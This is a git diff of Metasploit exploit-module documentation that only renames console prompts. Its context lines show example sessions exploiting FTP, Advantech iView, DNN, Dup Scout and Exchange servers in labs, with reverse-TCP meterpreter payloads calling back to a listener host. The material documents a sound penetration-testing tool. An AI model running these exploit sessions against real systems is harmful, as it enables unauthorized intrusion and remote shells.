exploit/windows/ftp/sami_ftpd_user [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/ftp/sami_ftpd_user) > set rhosts 172.16.191.199 +msf exploit(windows/ftp/sami_ftpd_user) > set rhosts 172.16.191.199 rhosts => 172.16.191.199 -msf6 exploit(windows/ftp/sami_ftpd_user) > check +msf exploit(windows/ftp/sami_ftpd_user) > check [*] 172.16.191.199:21 - The target appears to be vulnerable. Sami FTP Server version 2.0.2. -msf6 exploit(windows/ftp/sami_ftpd_user) > run +msf exploit(windows/ftp/sami_ftpd_user) > run [*] Started reverse TCP handler on 172.16.191.192:4444 [*] 172.16.191.199:21 - Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/advantech_iview_networkservlet_cmd_inject.md b/documentation/modules/exploit/windows/http/advantech_iview_networkservlet_cmd_inject.md index 0c572383fecac..ee9aa4a6ea656 100644 --- a/documentation/modules/exploit/windows/http/advantech_iview_networkservlet_cmd_inject.md +++ b/documentation/modules/exploit/windows/http/advantech_iview_networkservlet_cmd_inject.md @@ -37,13 +37,13 @@ Tomcat service to start. If that's the case, follow the steps below (pulled from ### Advantech iView Webserver `v5.7.04.6425` on Windows 10 21H2 x64 ``` -msf6 > use exploit/windows/http/advantech_iview_networkservlet_cmd_inject +msf > use exploit/windows/http/advantech_iview_networkservlet_cmd_inject [*] Using configured payload windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set rhost 192.168.140.197 +msf exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set rhost 192.168.140.197 rhost => 192.168.140.197 -msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set lhost 192.168.140.1 +msf exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > set lhost 192.168.140.1 lhost => 192.168.140.1 -msf6 exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > run +msf exploit(windows/http/advantech_iview_networkservlet_cmd_inject) > run [*] Started reverse TCP handler on 192.168.140.1:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/advantech_iview_unauth_rce.md b/documentation/modules/exploit/windows/http/advantech_iview_unauth_rce.md index 2d4c1ec9ad21b..58187a2183bac 100644 --- a/documentation/modules/exploit/windows/http/advantech_iview_unauth_rce.md +++ b/documentation/modules/exploit/windows/http/advantech_iview_unauth_rce.md @@ -33,11 +33,11 @@ restored. ### Windows 10 v1909 x64 running Advantech iView 5.7.0002.5992 ``` -msf6 exploit(windows/http/advantech_iview_unauth_rce) > set RHOSTS 192.168.159.30 +msf exploit(windows/http/advantech_iview_unauth_rce) > set RHOSTS 192.168.159.30 RHOSTS => 192.168.159.30 -msf6 exploit(windows/http/advantech_iview_unauth_rce) > check +msf exploit(windows/http/advantech_iview_unauth_rce) > check [*] 192.168.159.30:8080 - The target appears to be vulnerable. -msf6 exploit(windows/http/advantech_iview_unauth_rce) > exploit +msf exploit(windows/http/advantech_iview_unauth_rce) > exploit [*] Started HTTPS reverse handler on https://192.168.159.128:8443 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/ajaxpro_deserialization_rce.md b/documentation/modules/exploit/windows/http/ajaxpro_deserialization_rce.md index cf3c014a0eb85..b1d781bfafee0 100644 --- a/documentation/modules/exploit/windows/http/ajaxpro_deserialization_rce.md +++ b/documentation/modules/exploit/windows/http/ajaxpro_deserialization_rce.md @@ -199,17 +199,17 @@ The name of vulnerable parameter which, is set to `item` by default. ### Windows Command ``` -msf6 > use exploit/windows/http/ajaxpro_deserialization_rce +msf > use exploit/windows/http/ajaxpro_deserialization_rce [*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set rhosts 127.0.0.2 +msf exploit(windows/http/ajaxpro_deserialization_rce) > set rhosts 127.0.0.2 rhosts => 127.0.0.2 -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set rport 57750 +msf exploit(windows/http/ajaxpro_deserialization_rce) > set rport 57750 rport => 57750 -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set lhost 127.0.0.1 +msf exploit(windows/http/ajaxpro_deserialization_rce) > set lhost 127.0.0.1 lhost => 127.0.0.1 -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set vhost localhost +msf exploit(windows/http/ajaxpro_deserialization_rce) > set vhost localhost vhost => localhost -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > exploit +msf exploit(windows/http/ajaxpro_deserialization_rce) > exploit [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? [*] Started reverse TCP handler on 127.0.0.1:4444 @@ -222,19 +222,19 @@ msf6 exploit(windows/http/ajaxpro_deserialization_rce) > exploit ### Windows Dropper ``` -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > use exploit/windows/http/ajaxpro_deserialization_rce +msf exploit(windows/http/ajaxpro_deserialization_rce) > use exploit/windows/http/ajaxpro_deserialization_rce [*] Using configured payload cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set rhosts 127.0.0.2 +msf exploit(windows/http/ajaxpro_deserialization_rce) > set rhosts 127.0.0.2 rhosts => 127.0.0.2 -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set rport 57750 +msf exploit(windows/http/ajaxpro_deserialization_rce) > set rport 57750 rport => 57750 -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set lhost 127.0.0.1 +msf exploit(windows/http/ajaxpro_deserialization_rce) > set lhost 127.0.0.1 lhost => 127.0.0.1 -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set vhost localhost +msf exploit(windows/http/ajaxpro_deserialization_rce) > set vhost localhost vhost => localhost -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > set cmdstager::flavor certutil +msf exploit(windows/http/ajaxpro_deserialization_rce) > set cmdstager::flavor certutil cmdstager::flavor => certutil -msf6 exploit(windows/http/ajaxpro_deserialization_rce) > exploit +msf exploit(windows/http/ajaxpro_deserialization_rce) > exploit [!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress? [*] Started reverse TCP handler on 127.0.0.1:4444 diff --git a/documentation/modules/exploit/windows/http/apache_activemq_traversal_upload.md b/documentation/modules/exploit/windows/http/apache_activemq_traversal_upload.md index 6d2f2a000cbdb..bdfa99f151531 100644 --- a/documentation/modules/exploit/windows/http/apache_activemq_traversal_upload.md +++ b/documentation/modules/exploit/windows/http/apache_activemq_traversal_upload.md @@ -24,7 +24,7 @@ This module exploits CVE-2015-1830 by attempting to upload a JSP payload to a ta ## Scenarios ``` -msf5 exploit(windows/http/apache_activemq_traversal_upload) > show options +msf exploit(windows/http/apache_activemq_traversal_upload) > show options Module options (exploit/windows/http/apache_activemq_traversal_upload): @@ -50,7 +50,7 @@ Payload options (java/jsp_shell_reverse_tcp): SHELL no The system shell to use. -msf5 exploit(windows/http/apache_activemq_traversal_upload) > exploit +msf exploit(windows/http/apache_activemq_traversal_upload) > exploit [*] Started reverse TCP handler on 192.168.1.1:4444 [*] Uploading payload... diff --git a/documentation/modules/exploit/windows/http/desktopcentral_deserialization.md b/documentation/modules/exploit/windows/http/desktopcentral_deserialization.md index 5bba4a3480265..be4c6b4c3be6b 100644 --- a/documentation/modules/exploit/windows/http/desktopcentral_deserialization.md +++ b/documentation/modules/exploit/windows/http/desktopcentral_deserialization.md @@ -48,10 +48,10 @@ seconds, on a fresh install and calibrated to my test environment. ### Desktop Central 10.0.465 x64 on Windows 10 ``` -msf5 > use exploit/windows/http/desktopcentral_deserialization -msf5 exploit(windows/http/desktopcentral_deserialization) > set payload windows/x64/meterpreter/reverse_tcp +msf > use exploit/windows/http/desktopcentral_deserialization +msf exploit(windows/http/desktopcentral_deserialization) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp -msf5 exploit(windows/http/desktopcentral_deserialization) > options +msf exploit(windows/http/desktopcentral_deserialization) > options Module options (exploit/windows/http/desktopcentral_deserialization): @@ -85,11 +85,11 @@ Exploit target: 2 PowerShell Stager -msf5 exploit(windows/http/desktopcentral_deserialization) > set rhosts 172.16.249.139 +msf exploit(windows/http/desktopcentral_deserialization) > set rhosts 172.16.249.139 rhosts => 172.16.249.139 -msf5 exploit(windows/http/desktopcentral_deserialization) > set lhost 172.16.249.1 +msf exploit(windows/http/desktopcentral_deserialization) > set lhost 172.16.249.1 lhost => 172.16.249.1 -msf5 exploit(windows/http/desktopcentral_deserialization) > run +msf exploit(windows/http/desktopcentral_deserialization) > run [*] Started reverse TCP handler on 172.16.249.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/dlink_central_wifimanager_rce.md b/documentation/modules/exploit/windows/http/dlink_central_wifimanager_rce.md index b4286fe9a1a2b..713c60afadd60 100644 --- a/documentation/modules/exploit/windows/http/dlink_central_wifimanager_rce.md +++ b/documentation/modules/exploit/windows/http/dlink_central_wifimanager_rce.md @@ -33,8 +33,8 @@ No additional options #### Getting a meterpreter session ``` -msf5 exploit(windows/http/dlink_central_wifimanager_rce) > -msf5 exploit(windows/http/dlink_central_wifimanager_rce) > exploit +msf exploit(windows/http/dlink_central_wifimanager_rce) > +msf exploit(windows/http/dlink_central_wifimanager_rce) > exploit [*] Started reverse TCP handler on 192.168.1.222:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/dnn_cookie_deserialization_rce.md b/documentation/modules/exploit/windows/http/dnn_cookie_deserialization_rce.md index 92834909a9b22..c8b5cc81f4140 100644 --- a/documentation/modules/exploit/windows/http/dnn_cookie_deserialization_rce.md +++ b/documentation/modules/exploit/windows/http/dnn_cookie_deserialization_rce.md @@ -187,13 +187,13 @@ The expected structure includes a "type" attribute to instruct the server which Here's showing the expected output: ``` - msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8083 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check + msf > use exploit/windows/http/dnn_cookie_deserialization_rce + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8083 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > check [*] Trying to determine DNN Version... [*] Checking version at /Documentation/License.txt ... @@ -201,7 +201,7 @@ The expected structure includes a "type" attribute to instruct the server which [*] Checking for custom error page at: /__ ... [+] Custom error page detected. [*] 192.168.31.131:8083 - The target appears to be vulnerable. - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit + msf exploit(windows/http/dnn_cookie_deserialization_rce) > exploit [*] Checking for custom error page at: /__ ... [+] Custom error page detected. @@ -224,16 +224,16 @@ The expected structure includes a "type" attribute to instruct the server which Here's showing the expected output ``` - msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8084 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE Amop-0Et1fM_ - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-2 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check + msf > use exploit/windows/http/dnn_cookie_deserialization_rce + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8084 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE Amop-0Et1fM_ + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-2 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true + msf exploit(windows/http/dnn_cookie_deserialization_rce) > check [*] Trying to determine DNN Version... [*] Checking version at /Documentation/License.txt ... @@ -241,7 +241,7 @@ The expected structure includes a "type" attribute to instruct the server which [*] Checking for custom error page at: /__ ... [+] Custom error page detected. [*] 192.168.31.131:8084 - The target appears to be vulnerable. - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit + msf exploit(windows/http/dnn_cookie_deserialization_rce) > exploit [*] Checking for custom error page at: /__ ... [+] Custom error page detected. @@ -270,17 +270,17 @@ The expected structure includes a "type" attribute to instruct the server which Here's the expected output: ``` - msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8085 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE xR9oL8FP2eE_ - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-3 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 20FED393A44F86138D9089074C819880222A494155CEFAC6FEAF2B3B5204A227625654D87EA48ECB1E509664A7E8E32644BD363D3E6FD3A3273B245EF2D10B5E13D7912B - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check + msf > use exploit/windows/http/dnn_cookie_deserialization_rce + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8085 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE xR9oL8FP2eE_ + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0-3 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 20FED393A44F86138D9089074C819880222A494155CEFAC6FEAF2B3B5204A227625654D87EA48ECB1E509664A7E8E32644BD363D3E6FD3A3273B245EF2D10B5E13D7912B + msf exploit(windows/http/dnn_cookie_deserialization_rce) > check [*] Trying to determine DNN Version... [*] Checking version at /Documentation/License.txt ... @@ -288,7 +288,7 @@ The expected structure includes a "type" attribute to instruct the server which [*] Checking for custom error page at: /__ ... [+] Custom error page detected. [+] 192.168.31.131:8085 - The target appears to be vulnerable. - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit + msf exploit(windows/http/dnn_cookie_deserialization_rce) > exploit [*] Checking for custom error page at: /__ ... [+] Custom error page detected. @@ -317,23 +317,23 @@ The expected structure includes a "type" attribute to instruct the server which Here's the expected output: ``` - msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8090 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE /dnn930rc_verification_codes.txt - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0- - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 306A9A382E32E420739C589CCD5C44A7C2595A7163D3340DF4AD71D4223AFC6866E823F36C6171F84FD7352E6BEB17D66B9823567557988321A0867C7038FF6B0F5B0C1F943CBBDAC0B2EE3E - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set TARGET 4 - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check + msf > use exploit/windows/http/dnn_cookie_deserialization_rce + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS 192.168.31.131 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT 8090 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set PAYLOAD windows/meterpreter/reverse_tcp + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set LHOST 192.168.31.128 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set LPORT 443 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_CODE /dnn930rc_verification_codes.txt + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set VERIFICATION_PLAIN 0- + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set ENCRYPTED true + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set SESSION_TOKEN 306A9A382E32E420739C589CCD5C44A7C2595A7163D3340DF4AD71D4223AFC6866E823F36C6171F84FD7352E6BEB17D66B9823567557988321A0867C7038FF6B0F5B0C1F943CBBDAC0B2EE3E + msf exploit(windows/http/dnn_cookie_deserialization_rce) > set TARGET 4 + msf exploit(windows/http/dnn_cookie_deserialization_rce) > check [*] Checking for custom error page at: /__ ... [+] Custom error page detected. [+] 192.168.31.131:8090 - The target is vulnerable. - msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > exploit + msf exploit(windows/http/dnn_cookie_deserialization_rce) > exploit [*] Checking for custom error page at: /__ ... [+] Custom error page detected. diff --git a/documentation/modules/exploit/windows/http/dup_scout_enterprise_login_bof.md b/documentation/modules/exploit/windows/http/dup_scout_enterprise_login_bof.md index fdfda0b0ae5e1..3992af26524b6 100644 --- a/documentation/modules/exploit/windows/http/dup_scout_enterprise_login_bof.md +++ b/documentation/modules/exploit/windows/http/dup_scout_enterprise_login_bof.md @@ -39,13 +39,13 @@ Metasploit: ### Dup Scout Enterprise version 10.0.18 (x86) on Windows 10 (1909) (x64) ``` -msf6 > use exploit/windows/http/dup_scout_enterprise_login_bof +msf > use exploit/windows/http/dup_scout_enterprise_login_bof [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/dup_scout_enterprise_login_bof) > set rhosts 172.16.191.199 +msf exploit(windows/http/dup_scout_enterprise_login_bof) > set rhosts 172.16.191.199 rhosts => 172.16.191.199 -msf6 exploit(windows/http/dup_scout_enterprise_login_bof) > set lhost 172.16.191.192 +msf exploit(windows/http/dup_scout_enterprise_login_bof) > set lhost 172.16.191.192 lhost => 172.16.191.192 -msf6 exploit(windows/http/dup_scout_enterprise_login_bof) > run +msf exploit(windows/http/dup_scout_enterprise_login_bof) > run [*] Started reverse TCP handler on 172.16.191.192:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/dupscts_bof.md b/documentation/modules/exploit/windows/http/dupscts_bof.md index 16765fdce15bd..a45a266bd878d 100644 --- a/documentation/modules/exploit/windows/http/dupscts_bof.md +++ b/documentation/modules/exploit/windows/http/dupscts_bof.md @@ -40,15 +40,15 @@ Metasploit: ### Dup Scout Enterprise v9.9.14 on Windows 7 SP1 (x86) ``` -msf6 > use exploit/windows/http/dupscts_bof +msf > use exploit/windows/http/dupscts_bof [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/http/dupscts_bof) > set rhosts 172.16.191.213 +msf exploit(windows/http/dupscts_bof) > set rhosts 172.16.191.213 rhosts => 172.16.191.213 -msf6 exploit(windows/http/dupscts_bof) > check +msf exploit(windows/http/dupscts_bof) > check [*] 172.16.191.213:80 - The target appears to be vulnerable. Dup Scout Enterprise version 9.9.14. -msf6 exploit(windows/http/dupscts_bof) > set lhost 172.16.191.192 +msf exploit(windows/http/dupscts_bof) > set lhost 172.16.191.192 lhost => 172.16.191.192 -msf6 exploit(windows/http/dupscts_bof) > run +msf exploit(windows/http/dupscts_bof) > run [*] Started reverse TCP handler on 172.16.191.192:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/exchange_chainedserializationbinder_rce.md b/documentation/modules/exploit/windows/http/exchange_chainedserializationbinder_rce.md index 39a3e4c7060fd..6085b91699bc4 100644 --- a/documentation/modules/exploit/windows/http/exchange_chainedserializationbinder_rce.md +++ b/documentation/modules/exploit/windows/http/exchange_chainedserializationbinder_rce.md @@ -79,17 +79,17 @@ Set this to the OWA password. This can also be set to the password for a domain ### Exchange Server 2016 CU22 (Build 15.1.2375.7) on Windows Server 2016 x64 (CVE-2021-42321) ``` -msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce +msf > use exploit/windows/http/exchange_chainedserializationbinder_rce [*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle HttpUsername => aliddle -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1 +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1 HttpPassword => Password1 -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG DOMAIN => EXCHG -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42 +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42 RHOSTS => 192.168.159.42 -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > show options Module options (exploit/windows/http/exchange_chainedserializationbinder_rce): @@ -125,7 +125,7 @@ Exploit target: 0 Windows Command -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -159,17 +159,17 @@ meterpreter > ### Exchange Server 2016 CU22 Jan22SU (Build 15.1.2375.18) on Windows Server 2016 x64 (CVE-2022-23277) ``` -msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce +msf > use exploit/windows/http/exchange_chainedserializationbinder_rce [*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle HttpUsername => aliddle -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1 +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1 HttpPassword => Password1 -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN EXCHG DOMAIN => EXCHG -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42 +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.42 RHOSTS => 192.168.159.42 -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > show options Module options (exploit/windows/http/exchange_chainedserializationbinder_rce): @@ -205,7 +205,7 @@ Exploit target: 0 Windows Command -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -238,17 +238,17 @@ meterpreter > ### Exchange Server 2019 CU11 Jan22SU (Build 15.2.986.15) on Windows Server 2019 x64 (CVE-2022-23277) ``` -msf6 > use exploit/windows/http/exchange_chainedserializationbinder_rce +msf > use exploit/windows/http/exchange_chainedserializationbinder_rce [*] No payload configured, defaulting to cmd/windows/powershell/meterpreter/reverse_tcp -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.11 +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set RHOSTS 192.168.159.11 RHOSTS => 192.168.159.11 -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpUsername aliddle HttpUsername => aliddle -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1! +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set HttpPassword Password1! HttpPassword => Password1! -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN MSFLAB.LOCAL +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > set DOMAIN MSFLAB.LOCAL DOMAIN => MSFLAB.LOCAL -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > show options +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > show options Module options (exploit/windows/http/exchange_chainedserializationbinder_rce): @@ -284,7 +284,7 @@ Exploit target: 0 Windows Command -msf6 exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit +msf exploit(windows/http/exchange_chainedserializationbinder_rce) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md b/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md index 29af430cd4428..88b3ab5af30cf 100644 --- a/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md +++ b/documentation/modules/exploit/windows/http/exchange_ecp_dlp_policy.md @@ -53,15 +53,15 @@ Set this to the OWA password. ### Exchange Server 2016 CU17 on Windows Server 2016 ``` -msf6 > use exploit/windows/http/exchange_ecp_dlp_policy +msf > use exploit/windows/http/exchange_ecp_dlp_policy [*] Using configured payload windows/x64/meterpreter/reverse_https -msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set USERNAME smcintyre +msf exploit(windows/http/exchange_ecp_dlp_policy) > set USERNAME smcintyre USERNAME => smcintyre -msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set PASSWORD Password1 +msf exploit(windows/http/exchange_ecp_dlp_policy) > set PASSWORD Password1 PASSWORD => Password1 -msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set VHOST WIN-BPID95ACQ7E +msf exploit(windows/http/exchange_ecp_dlp_policy) > set VHOST WIN-BPID95ACQ7E VHOST => WIN-BPID95ACQ7E -msf6 exploit(windows/http/exchange_ecp_dlp_policy) > show options +msf exploit(windows/http/exchange_ecp_dlp_policy) > show options Module options (exploit/windows/http/exchange_ecp_dlp_policy): @@ -94,9 +94,9 @@ Exploit target: 0 Exchange Server <= 2016 CU19 and 2019 CU8 -msf6 exploit(windows/http/exchange_ecp_dlp_policy) > check +msf exploit(windows/http/exchange_ecp_dlp_policy) > check [*] 192.168.159.42:443 - The target appears to be vulnerable. Exchange Server 15.1.2176 is a vulnerable build. -msf6 exploit(windows/http/exchange_ecp_dlp_policy) > exploit +msf exploit(windows/http/exchange_ecp_dlp_policy) > exploit [*] Started HTTPS reverse handler on https://192.168.159.128:8443 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/windows/http/exchange_ecp_viewstate.md b/documentation/modules/exploit/windows/http/exchange_ecp_viewstate.md index b133586b553c8..385112bde5443 100644 --- a/documentation/modules/exploit/windows/http/exchange_ecp_viewstate.md +++ b/documentation/modules/exploit/windows/http/exchange_ecp_viewstate.md @@ -50,20 +50,20 @@ Password to log in with For example: ``` -msf5 > use exploit/windows/http/exchange_ecp_viewstate -msf5 exploit(windows/http/exchange_ecp_viewstate) > set RHOSTS 192.168.159.129 +msf > use exploit/windows/http/exchange_ecp_viewstate +msf exploit(windows/http/exchange_ecp_viewstate) > set RHOSTS 192.168.159.129 RHOSTS => 192.168.159.129 